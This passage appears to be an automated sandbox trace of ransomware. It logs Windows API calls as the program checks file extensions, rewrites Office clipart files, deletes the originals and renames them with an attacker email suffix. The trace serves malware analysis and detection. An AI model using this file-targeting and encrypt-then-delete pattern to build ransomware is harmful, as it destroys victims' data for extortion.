[0208.651] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.651] lstrlenW (lpString=".pdf") returned 4 [0208.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.651] lstrlenW (lpString=".xls") returned 4 [0208.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.651] lstrlenW (lpString=".xlsx") returned 5 [0208.651] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.651] lstrlenW (lpString=".ppt") returned 4 [0208.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0208.652] lstrlenW (lpString=".zip") returned 4 [0208.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.652] lstrlenW (lpString=".rar") returned 4 [0208.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.652] lstrlenW (lpString=".bz2") returned 4 [0208.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.652] lstrlenW (lpString=".7z") returned 3 [0208.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0208.652] lstrlenW (lpString=".dbf") returned 4 [0208.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0208.652] lstrlenW (lpString=".1cd") returned 4 [0208.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0208.652] lstrlenW (lpString=".jpg") returned 4 [0208.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.655] GetLastError () returned 0x0 [0208.655] ReadFile (in: hFile=0x348, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x69aa, lpOverlapped=0x0) returned 1 [0208.707] WriteFile (in: hFile=0x384, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x69b0, lpOverlapped=0x0) returned 1 [0208.708] ReadFile (in: hFile=0x348, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.708] WriteFile (in: hFile=0x384, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.708] SetEndOfFile (hFile=0x384) returned 1 [0208.708] CloseHandle (hObject=0x384) returned 1 [0208.708] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.708] SetEndOfFile (hFile=0x348) returned 1 [0208.709] CloseHandle (hObject=0x348) returned 1 [0208.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.710] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 1 [0208.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0208.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0208.710] lstrlenW (lpString=".doc") returned 4 [0208.710] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.710] lstrlenW (lpString=".docx") returned 5 [0208.710] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.710] lstrlenW (lpString=".pdf") returned 4 [0208.710] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.710] lstrlenW (lpString=".xls") returned 4 [0208.710] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.710] lstrlenW (lpString=".xlsx") returned 5 [0208.710] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.710] lstrlenW (lpString=".ppt") returned 4 [0208.710] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0208.710] lstrlenW (lpString=".zip") returned 4 [0208.710] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.710] lstrlenW (lpString=".rar") returned 4 [0208.710] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.710] lstrlenW (lpString=".bz2") returned 4 [0208.710] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.710] lstrlenW (lpString=".7z") returned 3 [0208.711] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0208.711] lstrlenW (lpString=".dbf") returned 4 [0208.711] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0208.711] lstrlenW (lpString=".1cd") returned 4 [0208.711] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0208.711] lstrlenW (lpString=".jpg") returned 4 [0208.711] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.711] GetLastError () returned 0x0 [0208.711] ReadFile (in: hFile=0x348, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x2cec, lpOverlapped=0x0) returned 1 [0208.718] WriteFile (in: hFile=0x384, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x2cf0, lpOverlapped=0x0) returned 1 [0208.719] ReadFile (in: hFile=0x348, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.719] WriteFile (in: hFile=0x384, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.719] SetEndOfFile (hFile=0x384) returned 1 [0208.719] CloseHandle (hObject=0x384) returned 1 [0208.719] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.719] SetEndOfFile (hFile=0x348) returned 1 [0208.720] CloseHandle (hObject=0x348) returned 1 [0208.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.720] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 1 [0208.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0208.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0208.721] lstrlenW (lpString=".doc") returned 4 [0208.721] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.721] lstrlenW (lpString=".docx") returned 5 [0208.721] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.721] lstrlenW (lpString=".pdf") returned 4 [0208.721] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.721] lstrlenW (lpString=".xls") returned 4 [0208.721] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.721] lstrlenW (lpString=".xlsx") returned 5 [0208.721] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.721] lstrlenW (lpString=".ppt") returned 4 [0208.721] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0208.721] lstrlenW (lpString=".zip") returned 4 [0208.721] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.721] lstrlenW (lpString=".rar") returned 4 [0208.721] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.721] lstrlenW (lpString=".bz2") returned 4 [0208.721] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.721] lstrlenW (lpString=".7z") returned 3 [0208.721] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0208.721] lstrlenW (lpString=".dbf") returned 4 [0208.721] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0208.721] lstrlenW (lpString=".1cd") returned 4 [0208.721] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0208.721] lstrlenW (lpString=".jpg") returned 4 [0208.721] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.722] GetLastError () returned 0x0 [0208.722] ReadFile (in: hFile=0x348, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x1870, lpOverlapped=0x0) returned 1 [0208.824] WriteFile (in: hFile=0x384, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x1880, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x1880, lpOverlapped=0x0) returned 1 [0208.825] ReadFile (in: hFile=0x348, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.825] WriteFile (in: hFile=0x384, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.825] SetEndOfFile (hFile=0x384) returned 1 [0208.826] CloseHandle (hObject=0x384) returned 1 [0208.826] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.826] SetEndOfFile (hFile=0x348) returned 1 [0208.827] CloseHandle (hObject=0x348) returned 1 [0208.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.827] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 1 [0208.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0208.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0208.827] lstrlenW (lpString=".doc") returned 4 [0208.827] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.828] lstrlenW (lpString=".docx") returned 5 [0208.828] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.828] lstrlenW (lpString=".pdf") returned 4 [0208.828] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.828] lstrlenW (lpString=".xls") returned 4 [0208.828] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.828] lstrlenW (lpString=".xlsx") returned 5 [0208.828] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.828] lstrlenW (lpString=".ppt") returned 4 [0208.828] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0208.828] lstrlenW (lpString=".zip") returned 4 [0208.828] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.828] lstrlenW (lpString=".rar") returned 4 [0208.828] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.828] lstrlenW (lpString=".bz2") returned 4 [0208.828] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.828] lstrlenW (lpString=".7z") returned 3 [0208.828] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0208.828] lstrlenW (lpString=".dbf") returned 4 [0208.828] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0208.828] lstrlenW (lpString=".1cd") returned 4 [0208.828] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0208.828] lstrlenW (lpString=".jpg") returned 4 [0208.828] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.829] GetLastError () returned 0x0 [0208.829] ReadFile (in: hFile=0x348, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xeb8, lpOverlapped=0x0) returned 1 [0208.882] WriteFile (in: hFile=0x384, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec0, lpOverlapped=0x0) returned 1 [0208.885] ReadFile (in: hFile=0x348, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.885] WriteFile (in: hFile=0x384, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.886] SetEndOfFile (hFile=0x384) returned 1 [0208.889] CloseHandle (hObject=0x384) returned 1 [0208.890] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.890] SetEndOfFile (hFile=0x348) returned 1 [0208.893] CloseHandle (hObject=0x348) returned 1 [0208.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.894] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 1 [0208.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0208.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0208.894] lstrlenW (lpString=".doc") returned 4 [0208.894] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.894] lstrlenW (lpString=".docx") returned 5 [0208.894] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.894] lstrlenW (lpString=".pdf") returned 4 [0208.894] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.894] lstrlenW (lpString=".xls") returned 4 [0208.894] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.894] lstrlenW (lpString=".xlsx") returned 5 [0208.894] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.894] lstrlenW (lpString=".ppt") returned 4 [0208.894] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0208.895] lstrlenW (lpString=".zip") returned 4 [0208.895] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.895] lstrlenW (lpString=".rar") returned 4 [0208.895] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.895] lstrlenW (lpString=".bz2") returned 4 [0208.895] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.895] lstrlenW (lpString=".7z") returned 3 [0208.895] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0208.895] lstrlenW (lpString=".dbf") returned 4 [0208.895] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0208.895] lstrlenW (lpString=".1cd") returned 4 [0208.895] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0208.895] lstrlenW (lpString=".jpg") returned 4 [0208.895] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.896] GetLastError () returned 0x0 [0208.896] ReadFile (in: hFile=0x348, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x532, lpOverlapped=0x0) returned 1 [0208.911] WriteFile (in: hFile=0x300, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x540, lpOverlapped=0x0) returned 1 [0208.912] ReadFile (in: hFile=0x348, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.912] WriteFile (in: hFile=0x300, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.912] SetEndOfFile (hFile=0x300) returned 1 [0208.912] CloseHandle (hObject=0x300) returned 1 [0208.913] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.913] SetEndOfFile (hFile=0x348) returned 1 [0208.913] CloseHandle (hObject=0x348) returned 1 [0208.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.914] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 1 [0208.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0208.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0208.914] lstrlenW (lpString=".doc") returned 4 [0208.914] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.914] lstrlenW (lpString=".docx") returned 5 [0208.914] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.914] lstrlenW (lpString=".pdf") returned 4 [0208.914] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.915] lstrlenW (lpString=".xls") returned 4 [0208.915] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.915] lstrlenW (lpString=".xlsx") returned 5 [0208.915] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.915] lstrlenW (lpString=".ppt") returned 4 [0208.915] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0208.915] lstrlenW (lpString=".zip") returned 4 [0208.915] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.915] lstrlenW (lpString=".rar") returned 4 [0208.915] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.915] lstrlenW (lpString=".bz2") returned 4 [0208.915] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.915] lstrlenW (lpString=".7z") returned 3 [0208.915] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0208.915] lstrlenW (lpString=".dbf") returned 4 [0208.915] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0208.915] lstrlenW (lpString=".1cd") returned 4 [0208.915] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0208.915] lstrlenW (lpString=".jpg") returned 4 [0208.915] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.916] GetLastError () returned 0x0 [0208.916] ReadFile (in: hFile=0x348, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x1f26, lpOverlapped=0x0) returned 1 [0208.933] WriteFile (in: hFile=0x300, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x1f30, lpOverlapped=0x0) returned 1 [0208.934] ReadFile (in: hFile=0x348, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.934] WriteFile (in: hFile=0x300, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.934] SetEndOfFile (hFile=0x300) returned 1 [0208.934] CloseHandle (hObject=0x300) returned 1 [0208.934] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.934] SetEndOfFile (hFile=0x348) returned 1 [0208.935] CloseHandle (hObject=0x348) returned 1 [0208.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.935] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 1 [0208.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0208.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0208.936] lstrlenW (lpString=".doc") returned 4 [0208.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.936] lstrlenW (lpString=".docx") returned 5 [0208.936] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.936] lstrlenW (lpString=".pdf") returned 4 [0208.936] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.936] lstrlenW (lpString=".xls") returned 4 [0208.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.936] lstrlenW (lpString=".xlsx") returned 5 [0208.936] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.936] lstrlenW (lpString=".ppt") returned 4 [0208.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0208.936] lstrlenW (lpString=".zip") returned 4 [0208.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.936] lstrlenW (lpString=".rar") returned 4 [0208.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.936] lstrlenW (lpString=".bz2") returned 4 [0208.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.936] lstrlenW (lpString=".7z") returned 3 [0208.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0208.936] lstrlenW (lpString=".dbf") returned 4 [0208.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0208.936] lstrlenW (lpString=".1cd") returned 4 [0208.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0208.936] lstrlenW 